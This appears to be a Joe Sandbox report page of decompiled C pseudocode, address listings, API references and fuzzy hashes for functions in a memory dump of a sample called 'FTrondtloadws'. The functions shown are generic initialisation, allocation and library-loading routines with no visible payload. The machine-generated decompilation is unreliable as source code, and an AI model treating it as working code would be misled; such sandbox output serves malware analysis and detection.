0x00000000
0x00cc91c2
0x00cc9128
0x00cc912f
0x00cc9136
0x00cc913b
0x00cc9156
0x00cc9162
0x00cc9169
0x00cc916e
0x00cc9174
0x00cc9179
0x00cc917b
0x00cc9182
0x00cc918e
0x00cc9190
0x00000000
0x00000000
0x00cc9143
0x00cc9149
0x00cc914f
0x00cc914f
0x00cc9192
0x00cc9198
0x00000000
0x00cc9198
0x00cc90f7
0x00000000
0x00cc90f7
0x00cc90b9
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00CC9087

Part of subcall function 00CC13F8: __EH_prolog.LIBCMT ref: 00CC13FD

Part of subcall function 00CC2032: __EH_prolog.LIBCMT ref: 00CC2037

Part of subcall function 00CCB946: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CCB971

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: a5fd7dba311eecc623503e6eaf376d0c46fe751adcb380bc687d3b0e1d4997c3
Instruction ID: d7735fbd1209a8448fcf787e09f6052472fd059993bc6e082c716bcd8ce8ea41
Opcode Fuzzy Hash: a5fd7dba311eecc623503e6eaf376d0c46fe751adcb380bc687d3b0e1d4997c3
Instruction Fuzzy Hash: A941A2719042586ADB20DB61C89AFEAB779FF54300F0804EEE58AA7083DB755F88DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00CC13FD Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00CC13FD(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* _t65;
				signed int _t71;
				char _t73;
				intOrPtr _t82;
				intOrPtr _t84;
				char _t91;
				signed int _t93;
				void* _t108;
				void* _t111;
				void* _t118;

				_t118 = __eflags;
				E00CDFD4C(_t65, _t111);
				_t84 = __ecx;
				 *((intOrPtr*)(_t111 - 0x10)) = __ecx;
				E00CCA79B(__ecx);
				 *((intOrPtr*)(__ecx)) = 0xcf45f8;
				 *((intOrPtr*)(_t111 - 4)) = 0;
				E00CC6871(__ecx, __ecx + 0x1040, _t118);
				 *((char*)(_t111 - 4)) = 1;
				E00CCE278(__ecx + 0x1970, __edx, _t118);
				_t108 = __ecx + 0x1a98;
				 *((intOrPtr*)(__ecx + 0x1a60)) = 0;
				 *((intOrPtr*)(__ecx + 0x1a64)) = 0;
				 *((intOrPtr*)(_t108 + 0x44)) = 0;
				 *((intOrPtr*)(_t108 + 0x54)) = 0;
				 *((intOrPtr*)(_t108 + 0x58)) = 7;
				 *((intOrPtr*)(_t108 + 0x60)) = 0;
				 *((intOrPtr*)(_t108 + 0x64)) = 0;
				E00CC15B8();
				_t71 = E00CC15B8();
				_t91 =  *((intOrPtr*)(_t111 + 8));
				 *((char*)(_t111 - 4)) = 5;
				 *((intOrPtr*)(__ecx + 0x1a4c)) = 0;
				 *((char*)(__ecx + 0x1a48)) = _t71 & 0xffffff00 | _t91 == 0x00000000;
				_t120 = _t91;
				if(_t91 != 0) {
					_t73 = _t91;
				} else {
					_push(0xb3f0);
					_t82 = E00CDFD0E(__edx, _t120);
					 *((intOrPtr*)(_t111 - 0x14)) = _t82;
					 *((char*)(_t111 - 4)) = 6;
					_t121 = _t82;
					if(_t82 == 0) {
						_t73 = 0;
					} else {
						_t73 = E00CC642D(_t84, _t82, _t121); // executed
					}
					 *((char*)(_t111 - 4)) = 5;
				}
				 *((intOrPtr*)(_t84 + 0x1a4c)) = _t73;
				 *(_t84 + 0x1a50) =  *(_t84 + 0x1a50) | 0xffffffff;
				 *(_t84 + 0x1a54) =  *(_t84 + 0x1a54) | 0xffffffff;
				 *(_t84 + 0x1a58) =  *(_t84 + 0x1a58) | 0xffffffff;
				 *((char*)(_t84 + 0x30)) =  *((intOrPtr*)(_t73 + 0x708d));
				 *((intOrPtr*)(_t84 + 0x6558)) = 0;
				 *((intOrPtr*)(_t84 + 0x655c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6560)) = 0;
				 *((intOrPtr*)(_t84 + 0x6568)) = 0;
				 *((intOrPtr*)(_t84 + 0x1a60)) = 0;
				 *((intOrPtr*)(_t84 + 0x1a64)) = 0;
				 *((char*)(_t84 + 0x6564)) = 0;
				 *((short*)(_t84 + 0x656c)) = 0;
				 *((intOrPtr*)(_t84 + 0x1a68)) = 0;
				 *((intOrPtr*)(_t84 + 0x6548)) = 0;
				 *((intOrPtr*)(_t84 + 0x654c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6550)) = 0;
				 *((intOrPtr*)(_t84 + 0x6554)) = 0;
				E00CCC1D7(_t108, 0);
				_t47 = _t111 - 0x48; // 0x7b8
				E00CE1000(0, _t47, 0, 0x34);
				_t49 = _t111 - 0x48; // 0x7b8
				_t93 = 0xd;
				memcpy(_t84 + 0x1b00, _t49, _t93 << 2);
				 *((char*)(_t84 + 0x3e50)) = 0;
				 *((intOrPtr*)(_t84 + 0x3e5c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6580)) = 0;
				 *((intOrPtr*)(_t84 + 0x6588)) = 0;
				 *((intOrPtr*)(_t84 + 0x658c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6590)) = 0;
				 *((intOrPtr*)(_t84 + 0x6594)) = 0;
				 *((intOrPtr*)(_t84 + 0x6598)) = 0;
				 *((intOrPtr*)(_t84 + 0x659c)) = 0;
				 *((short*)(_t84 + 0x65a2)) = 0;
				 *((char*)(_t84 + 0x657e)) = 0;
				 *((char*)(_t84 + 0x65a0)) = 0;
				 *((char*)(_t84 + 0x1a70)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0xc));
				return _t84;
			}

0x00cc13fd
0x00cc13fd
0x00cc1407
0x00cc140a
0x00cc140d
0x00cc1414
0x00cc1420
0x00cc1423
0x00cc142e
0x00cc1432
0x00cc1437
0x00cc143d
0x00cc1443
0x00cc1449
0x00cc144c
0x00cc144f
0x00cc1456
0x00cc1459
0x00cc1462
0x00cc146d
0x00cc1472
0x00cc1477
0x00cc147e
0x00cc1484
0x00cc148a
0x00cc148c
0x00cc14b5
0x00cc148e
0x00cc148e
0x00cc1493
0x00cc1499
0x00cc149c
0x00cc14a0
0x00cc14a2
0x00cc14ad
0x00cc14a4
0x00cc14a6
0x00cc14a6
0x00cc14af
0x00cc14af
0x00cc14b7
0x00cc14c5
0x00cc14cc
0x00cc14d3
0x00cc14da
0x00cc14df
0x00cc14e5
0x00cc14eb
0x00cc14f1
0x00cc14f7
0x00cc14fd
0x00cc1503
0x00cc1509
0x00cc1510
0x00cc1516
0x00cc151c
0x00cc1522
0x00cc1528
0x00cc152e
0x00cc1537
0x00cc153c
0x00cc154a
0x00cc154f
0x00cc1550
0x00cc1556
0x00cc155c
0x00cc1562
0x00cc1568
0x00cc156e
0x00cc1574
0x00cc157a
0x00cc1580
0x00cc1586
0x00cc158c
0x00cc1596
0x00cc159c
0x00cc15a2
0x00cc15ad
0x00cc15b5

APIs

__EH_prolog.LIBCMT ref: 00CC13FD

Part of subcall function 00CC6871: __EH_prolog.LIBCMT ref: 00CC6876

Part of subcall function 00CCE278: __EH_prolog.LIBCMT ref: 00CCE27D

Part of subcall function 00CC642D: __EH_prolog.LIBCMT ref: 00CC6432

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af01eaa31c19ae22fa9e0d09ecae5840d357a1d2fe952c0398752091d33094d0
Instruction ID: 2237d553859a0ded9c7805ec27fde1c43218cbe29680f79189ed6ed166e068d0
Opcode Fuzzy Hash: af01eaa31c19ae22fa9e0d09ecae5840d357a1d2fe952c0398752091d33094d0
Instruction Fuzzy Hash: 505138B1905B808ECB04DF69D8816D97BE5AF5A301F0802BEEC4DCF68BD7754255CB22

Uniqueness

Uniqueness Score: -1.00%

Function 00CC13F8 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00CC13F8(intOrPtr __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				signed int _t71;
				char _t73;
				intOrPtr _t82;
				intOrPtr _t84;
				char _t91;
				signed int _t93;
				void* _t99;
				void* _t108;
				void* _t111;
				void* _t118;

				_t118 = __eflags;
				E00CDFD4C(0xcf3653, _t111);
				_t84 = __ecx;
				 *((intOrPtr*)(_t111 - 0x10)) = __ecx;
				E00CCA79B(__ecx);
				 *((intOrPtr*)(__ecx)) = 0xcf45f8;
				 *((intOrPtr*)(_t111 - 4)) = 0;
				E00CC6871(__ecx, __ecx + 0x1040, _t118);
				 *((char*)(_t111 - 4)) = 1;
				E00CCE278(__ecx + 0x1970, _t99, _t118);
				_t108 = __ecx + 0x1a98;
				 *((intOrPtr*)(__ecx + 0x1a60)) = 0;
				 *((intOrPtr*)(__ecx + 0x1a64)) = 0;
				 *((intOrPtr*)(_t108 + 0x44)) = 0;
				 *((intOrPtr*)(_t108 + 0x54)) = 0;
				 *((intOrPtr*)(_t108 + 0x58)) = 7;
				 *((intOrPtr*)(_t108 + 0x60)) = 0;
				 *((intOrPtr*)(_t108 + 0x64)) = 0;
				E00CC15B8();
				_t71 = E00CC15B8();
				_t91 =  *((intOrPtr*)(_t111 + 8));
				 *((char*)(_t111 - 4)) = 5;
				 *((intOrPtr*)(__ecx + 0x1a4c)) = 0;
				 *((char*)(__ecx + 0x1a48)) = _t71 & 0xffffff00 | _t91 == 0x00000000;
				_t120 = _t91;
				if(_t91 != 0) {
					_t73 = _t91;
				} else {
					_push(0xb3f0);
					_t82 = E00CDFD0E(_t99, _t120);
					 *((intOrPtr*)(_t111 - 0x14)) = _t82;
					 *((char*)(_t111 - 4)) = 6;
					_t121 = _t82;
					if(_t82 == 0) {
						_t73 = 0;
					} else {
						_t73 = E00CC642D(_t84, _t82, _t121); // executed
					}
					 *((char*)(_t111 - 4)) = 5;
				}
				 *((intOrPtr*)(_t84 + 0x1a4c)) = _t73;
				 *(_t84 + 0x1a50) =  *(_t84 + 0x1a50) | 0xffffffff;
				 *(_t84 + 0x1a54) =  *(_t84 + 0x1a54) | 0xffffffff;
				 *(_t84 + 0x1a58) =  *(_t84 + 0x1a58) | 0xffffffff;
				 *((char*)(_t84 + 0x30)) =  *((intOrPtr*)(_t73 + 0x708d));
				 *((intOrPtr*)(_t84 + 0x6558)) = 0;
				 *((intOrPtr*)(_t84 + 0x655c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6560)) = 0;
				 *((intOrPtr*)(_t84 + 0x6568)) = 0;
				 *((intOrPtr*)(_t84 + 0x1a60)) = 0;
				 *((intOrPtr*)(_t84 + 0x1a64)) = 0;
				 *((char*)(_t84 + 0x6564)) = 0;
				 *((short*)(_t84 + 0x656c)) = 0;
				 *((intOrPtr*)(_t84 + 0x1a68)) = 0;
				 *((intOrPtr*)(_t84 + 0x6548)) = 0;
				 *((intOrPtr*)(_t84 + 0x654c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6550)) = 0;
				 *((intOrPtr*)(_t84 + 0x6554)) = 0;
				E00CCC1D7(_t108, 0);
				_t47 = _t111 - 0x48; // 0x7b8
				E00CE1000(0, _t47, 0, 0x34);
				_t49 = _t111 - 0x48; // 0x7b8
				_t93 = 0xd;
				memcpy(_t84 + 0x1b00, _t49, _t93 << 2);
				 *((char*)(_t84 + 0x3e50)) = 0;
				 *((intOrPtr*)(_t84 + 0x3e5c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6580)) = 0;
				 *((intOrPtr*)(_t84 + 0x6588)) = 0;
				 *((intOrPtr*)(_t84 + 0x658c)) = 0;
				 *((intOrPtr*)(_t84 + 0x6590)) = 0;
				 *((intOrPtr*)(_t84 + 0x6594)) = 0;
				 *((intOrPtr*)(_t84 + 0x6598)) = 0;
				 *((intOrPtr*)(_t84 + 0x659c)) = 0;
				 *((short*)(_t84 + 0x65a2)) = 0;
				 *((char*)(_t84 + 0x657e)) = 0;
				 *((char*)(_t84 + 0x65a0)) = 0;
				 *((char*)(_t84 + 0x1a70)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0xc));
				return _t84;
			}

0x00cc13f8
0x00cc13fd
0x00cc1407
0x00cc140a
0x00cc140d
0x00cc1414
0x00cc1420
0x00cc1423
0x00cc142e
0x00cc1432
0x00cc1437
0x00cc143d
0x00cc1443
0x00cc1449
0x00cc144c
0x00cc144f
0x00cc1456
0x00cc1459
0x00cc1462
0x00cc146d
0x00cc1472
0x00cc1477
0x00cc147e
0x00cc1484
0x00cc148a
0x00cc148c
0x00cc14b5
0x00cc148e
0x00cc148e
0x00cc1493
0x00cc1499
0x00cc149c
0x00cc14a0
0x00cc14a2
0x00cc14ad
0x00cc14a4
0x00cc14a6
0x00cc14a6
0x00cc14af
0x00cc14af
0x00cc14b7
0x00cc14c5
0x00cc14cc
0x00cc14d3
0x00cc14da
0x00cc14df
0x00cc14e5
0x00cc14eb
0x00cc14f1
0x00cc14f7
0x00cc14fd
0x00cc1503
0x00cc1509
0x00cc1510
0x00cc1516
0x00cc151c
0x00cc1522
0x00cc1528
0x00cc152e
0x00cc1537
0x00cc153c
0x00cc154a
0x00cc154f
0x00cc1550
0x00cc1556
0x00cc155c
0x00cc1562
0x00cc1568
0x00cc156e
0x00cc1574
0x00cc157a
0x00cc1580
0x00cc1586
0x00cc158c
0x00cc1596
0x00cc159c
0x00cc15a2
0x00cc15ad
0x00cc15b5

APIs

__EH_prolog.LIBCMT ref: 00CC13FD

Part of subcall function 00CC6871: __EH_prolog.LIBCMT ref: 00CC6876

Part of subcall function 00CCE278: __EH_prolog.LIBCMT ref: 00CCE27D

Part of subcall function 00CC642D: __EH_prolog.LIBCMT ref: 00CC6432

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c74ffa0015ce81cdfa00fa92d1a8b08fa898cca0270d1dcd048c156e1406ab1b
Instruction ID: 324d3bf4d705a29c9267d5c7c35c254a6ef5bad3ba07d914aa1ab79e0799e345
Opcode Fuzzy Hash: c74ffa0015ce81cdfa00fa92d1a8b08fa898cca0270d1dcd048c156e1406ab1b
Instruction Fuzzy Hash: FA5138B1905B808ECB04DF69D8816D97BE5AF5A301F0802BEEC4DCF68BD7754255CB22

Uniqueness

Uniqueness Score: -1.00%

Function 00CD477D Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00CD477D(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t29;
				signed int* _t36;
				signed int _t38;
				intOrPtr _t39;
				intOrPtr _t42;
				signed int _t44;
				void* _t47;
				void* _t60;
				signed int _t65;
				void* _t67;
				void* _t69;
				void* _t73;

				_t29 = E00CDFD4C(0xcf3ae8, _t67);
				_push(__ecx);
				_push(__ecx);
				_t60 = __ecx;
				_t44 = 0;
				_t72 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t42 = E00CDFF78(__ecx, __edx, _t72); // executed
					 *((intOrPtr*)(__ecx + 0x20)) = _t42;
					_t29 = E00CE1000(__ecx, _t42, 0, 0x400400);
					_t69 = _t69 + 0x10;
				}
				_t73 =  *(_t60 + 0x18) - _t44;
				if(_t73 == 0) {
					_t65 =  *((intOrPtr*)(_t60 + 0x1c)) +  *((intOrPtr*)(_t60 + 0x1c));
					_t30 = _t65;
					 *(_t67 - 0x10) = _t65;
					_push( ~(0 | _t73 > 0x00000000) | ( ~(_t73 > 0) | _t65 * 0x00004ae4) + 0x00000004);
					_t36 = E00CDFF78(( ~(_t73 > 0) | _t65 * 0x00004ae4) + 4, _t30 * 0x4ae4 >> 0x20, _t73);
					_pop(0xd030c4);
					 *(_t67 - 0x14) = _t36;
					 *(_t67 - 4) = _t44;
					_t74 = _t36;
					if(_t36 != 0) {
						_push(E00CD35E0);
						_push(E00CD34D0);
						_push(_t65);
						_t16 =  &(_t36[1]); // 0x4
						_t44 = _t16;
						 *_t36 = _t65;
						_push(0x4ae4);
						_push(_t44);
						E00CDFE73(_t44, _t60, _t65, _t74);
					}
					 *(_t67 - 4) =  *(_t67 - 4) | 0xffffffff;
					 *(_t60 + 0x18) = _t44;
					_t29 = E00CE1000(_t60, _t44, 0, _t65 * 0x4ae4);
					if(_t65 != 0) {
						_t38 = 0;
						 *(_t67 - 0x10) = 0;
						do {
							_t47 =  *(_t60 + 0x18) + _t38;
							if( *((intOrPtr*)(_t47 + 0x4ad4)) == 0) {
								 *((intOrPtr*)(_t47 + 0x4adc)) = 0x4100;
								_t39 = E00CE73B6(0xd030c4); // executed
								 *((intOrPtr*)(_t47 + 0x4ad4)) = _t39;
								0xd030c4 = 0x30c00;
								if(_t39 == 0) {
									E00CC773A(0xd030c4);
								}
								_t38 =  *(_t67 - 0x10);
							}
							_t38 = _t38 + 0x4ae4;
							 *(_t67 - 0x10) = _t38;
							_t65 = _t65 - 1;
						} while (_t65 != 0);
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return _t29;
			}

0x00cd4782
0x00cd4787
0x00cd4788
0x00cd478c
0x00cd478e
0x00cd4790
0x00cd4793
0x00cd479a
0x00cd479b
0x00cd47a3
0x00cd47a6
0x00cd47ab
0x00cd47ab
0x00cd47ae
0x00cd47b1
0x00cd47bc
0x00cd47c3
0x00cd47c5
0x00cd47dd
0x00cd47de
0x00cd47e3
0x00cd47e4
0x00cd47e7
0x00cd47ea
0x00cd47ec
0x00cd47ee
0x00cd47f3
0x00cd47f8
0x00cd47f9
0x00cd47f9
0x00cd47fc
0x00cd47fe
0x00cd4803
0x00cd4804
0x00cd4804
0x00cd4809
0x00cd4813
0x00cd481a
0x00cd4824
0x00cd4826
0x00cd4828
0x00cd482b
0x00cd482e
0x00cd4837
0x00cd483e
0x00cd4848
0x00cd484d
0x00cd4853
0x00cd4856
0x00cd485d
0x00cd485d
0x00cd4862
0x00cd4862
0x00cd4865
0x00cd486a
0x00cd486d
0x00cd486d
0x00cd482b
0x00cd4824
0x00cd4878
0x00cd4880

APIs

__EH_prolog.LIBCMT ref: 00CD4782

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: cb624bdb3257b012edc5d0c2748ee4f46db6bec8049e0ef6d9340d38d32fed56
Instruction ID: aefa09e0838bc3fa0474f201c4da486ef920ea20d57a460c11ee147111e8ef4e
Opcode Fuzzy Hash: cb624bdb3257b012edc5d0c2748ee4f46db6bec8049e0ef6d9340d38d32fed56
Instruction Fuzzy Hash: 0C21E4B1E40251AFDB04AF75CC4266BB6A8FB05354F00023BE716EB7C2E3709A40D7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC133 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00CDC133(void* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				void* __esi;
				short _t35;
				char _t37;
				short _t57;
				signed int _t62;
				void* _t64;
				intOrPtr _t66;
				void* _t69;

				_t69 = __eflags;
				E00CDFD4C(0xcf3b3e, _t64);
				_push(__ecx);
				E00CDFE20(0x75b8);
				_push(_t62);
				_push(_t60);
				 *((intOrPtr*)(_t64 - 0x10)) = _t66;
				 *((intOrPtr*)(_t64 - 4)) = 0;
				E00CC13F8(_t64 - 0x75c8, _t69, 0); // executed
				 *((char*)(_t64 - 4)) = 1;
				E00CC2083(_t64 - 0x75c8, __edx, _t62, _t64, _t69,  *((intOrPtr*)(_t64 + 0xc)));
				if( *((intOrPtr*)(_t64 - 0x105b)) == 0) {
					 *((intOrPtr*)(_t64 - 0x20)) = 0;
					 *(_t64 - 0x1c) = 0;
					 *((intOrPtr*)(_t64 - 0x18)) = 0;
					 *((intOrPtr*)(_t64 - 0x14)) = 0;
					 *((char*)(_t64 - 4)) = 2;
					_push(_t64 - 0x20);
					_t52 = _t64 - 0x75c8;
					_t35 = E00CC1A7E(_t64 - 0x75c8, __edx);
					__eflags = _t35;
					if(_t35 != 0) {
						_t62 =  *(_t64 - 0x1c);
						_t60 = _t62 + _t62;
						_push(_t62 + _t62 + 2);
						_t57 = E00CE73B6(_t52);
						 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x10)))) = _t57;
						__eflags = _t57;
						if(_t57 != 0) {
							__eflags = 0;
							 *((short*)(_t57 + _t62 * 2)) = 0;
							E00CE2C10(_t57,  *((intOrPtr*)(_t64 - 0x20)), _t60);
						} else {
							_t62 = 0;
						}
						 *( *(_t64 + 0x14)) = _t62;
					}
					__eflags =  *((intOrPtr*)(_t64 - 0x20));
					if( *((intOrPtr*)(_t64 - 0x20)) != 0) {
						L00CE5069( *((intOrPtr*)(_t64 - 0x20)));
					}
					E00CC1641(_t64 - 0x75c8, _t60, _t62); // executed
					_t37 = 1;
				} else {
					E00CC1641(_t64 - 0x75c8, _t60, _t62);
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

0x00cdc133
0x00cdc138
0x00cdc13d
0x00cdc143
0x00cdc149
0x00cdc14a
0x00cdc14d
0x00cdc157
0x00cdc15a
0x00cdc168
0x00cdc16c
0x00cdc177
0x00cdc188
0x00cdc18b
0x00cdc18e
0x00cdc191
0x00cdc197
0x00cdc19b
0x00cdc19c
0x00cdc1a2
0x00cdc1a7
0x00cdc1a9
0x00cdc1ab
0x00cdc1ae
0x00cdc1b4
0x00cdc1bb
0x00cdc1c0
0x00cdc1c2
0x00cdc1c4
0x00cdc1ca
0x00cdc1cd
0x00cdc1d5
0x00cdc1c6
0x00cdc1c6
0x00cdc1c6
0x00cdc1e0
0x00cdc1e0
0x00cdc1e2
0x00cdc1e6
0x00cdc1eb
0x00cdc1f0
0x00cdc1f7
0x00cdc1fc
0x00cdc179
0x00cdc17f
0x00cdc184
0x00cdc184
0x00cdc203
0x00cdc20c

APIs

__EH_prolog.LIBCMT ref: 00CDC138

Part of subcall function 00CC13F8: __EH_prolog.LIBCMT ref: 00CC13FD

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 562fb3fc96ab191570bd620b6b2cf30335ca8bf5f9e8cfab052faf1fa92de223
Instruction ID: 66e9c7cb7a1c462668023b75a6964560e263cc25073275d57db1ebe6f39cacd2
Opcode Fuzzy Hash: 562fb3fc96ab191570bd620b6b2cf30335ca8bf5f9e8cfab052faf1fa92de223
Instruction Fuzzy Hash: 8A216B7280426AAECF15DF95C881AEEB7B4FF05304F1404AEE805B7352D7746A45EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CEBCA8 Relevance: 1.6, APIs: 1, Instructions: 65
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00CEBCA8(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0xd24658 + _a4 * 4;
				_t27 =  *0xd007a8; // 0x763902cb
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0xd007a8; // 0x763902cb
							goto L13;
						}
						 *_t20 = E00CE8EB5(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E00CEBD44( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0xd007a8; // 0x763902cb
						goto L7;
					}
					_t27 =  *0xd007a8; // 0x763902cb
					goto L8;
				}
				L2:
				return _t33;
			}

0x00cebcb3
0x00cebcbc
0x00cebcc2
0x00cebccc
0x00cebcce
0x00cebcd2
0x00cebd3d
0x00000000
0x00cebd3d
0x00cebcd6
0x00cebcdc
0x00cebce2
0x00cebcfe
0x00cebcfe
0x00cebd00
0x00cebd02
0x00cebd2d
0x00cebd2f
0x00cebd37
0x00cebd3b
0x00000000
0x00cebd3b
0x00cebd0e
0x00cebd12
0x00cebd27
0x00000000
0x00cebd27
0x00cebd1b
0x00000000
0x00000000
0x00000000
0x00000000
0x00cebce4
0x00cebce4
0x00cebce6
0x00cebcee
0x00000000
0x00000000
0x00cebcf0
0x00cebcf6
0x00000000
0x00000000
0x00cebcf8
0x00000000
0x00cebcf8
0x00cebd1f
0x00000000
0x00cebd1f
0x00cebcd8
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00CEBD08

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
